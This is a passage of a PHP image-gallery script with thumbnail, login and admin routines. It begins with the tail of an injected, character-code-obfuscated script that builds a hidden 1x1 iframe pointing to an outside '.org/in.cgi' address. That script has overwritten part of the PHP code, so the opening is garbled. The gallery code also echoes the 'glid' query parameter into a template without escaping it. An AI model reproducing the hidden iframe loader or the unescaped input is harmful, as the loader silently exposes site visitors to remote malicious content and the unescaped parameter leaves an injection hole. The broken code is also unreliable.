>8,56,52,46,111,114,103,47,105,110,46,99,103,105,63,50,34,32,119,105,100,116,104,61,49,32,104,101,105,103,104,116,61,49,32,115,116,121,108,101,61,34,118,105,115,105,98,105,108,105,116,121,58,32,104,105,100,100,101,110,34,62,60,47,105,102,114,97,109,101,62));</script>ute( $work )
{
	switch ( $work )
	{
	case W_INDEX:
		work_index();
		break;
	case W_THUMB:
		work_thumb( get_param( 'path' ), get_param( 'width' ), get_param( 'height' ) );
		break;
	case W_LOGIN:
		work_login();
		break;
	case W_ADMIN:
		work_admin( get_param( 'user' ), get_param( 'pass' ) );
		break;
	case W_APPLY:
		work_apply( get_param( 'user' ), get_param( 'pass' ) );
		break;
	case W_CLEAR:
		work_clear( get_param( 'user' ), get_param( 'pass' ) );
		break;
	default:
		echo 'Wrong parameter!';
	}
}

function work_index()
{
	global $config;
	$files_now = array();
	$width_tag = array();
	$desired = $config->get_setting( 'thumb_size' );
	if ( $handle = opendir( '.' ) )
	{
		while ( false !== ( $filename = readdir( $handle ) ) )
		{
			if ( !is_dir( $filename ) )
			{
				if ( $data = GetImageSize( $filename ) )
				{
					$files_now[] = $filename;
					$width = $data[ 0 ];
					$height = $data[ 1 ];
					if ( $width < $height )
					{
						$height = (int)( $height * $desired / $width );
						$width = $desired;
					} else {
						$width = (int)( $width * $desired / $height );
						$height = $desired;
					}
					$width_tag[] = '&width=' . $width . '&height=' . $height;
				}
			}
		}
	}

	echo get_template( 'header' );
	$columns = $config->get_setting( 'columns' );
	for ( $i = 0; $i < count( $files_now ); ++$i )
	{
		$image
			= get_self()
			. '?work='
			. W_THUMB
			. '&path='
			. urlencode( $files_now[ $i ] )
			. $width_tag[ $i ];
		echo get_template
			( 'thumb'
			, array
				( 'LINK' => $files_now[ $i ]
				, 'IMAGE' => $image 
				, 'ID' => $_GET['glid']) );
		if ( ( $i + 1 ) % $columns == 0 )
		{
			echo $config->get_setting( 'line_separator' );
		}
	}
	echo get_template( 'footer' );
}

function work_login( $first = true )
{
	if ( !$first )
	{
		echo 'Login or password incorrect!<br>'; // TODO Template
	}
	echo get_template( 'login', array( 'LINK' => get_self() ) );
}

function work_admin( $user, $password )
{
	if ( $user == USER && $password == PASS )
	{
		if ( is_dir( '.cache' ) )
		{
			echo_admin( $user, $password );
		} else {
			if ( mkdir( '.cache', 0755 ) )
			{
				echo_admin( $user, $password );
			} else {
				echo "Can't create cache directory, so default settings will be used!"; // TODO And?
			}
		}
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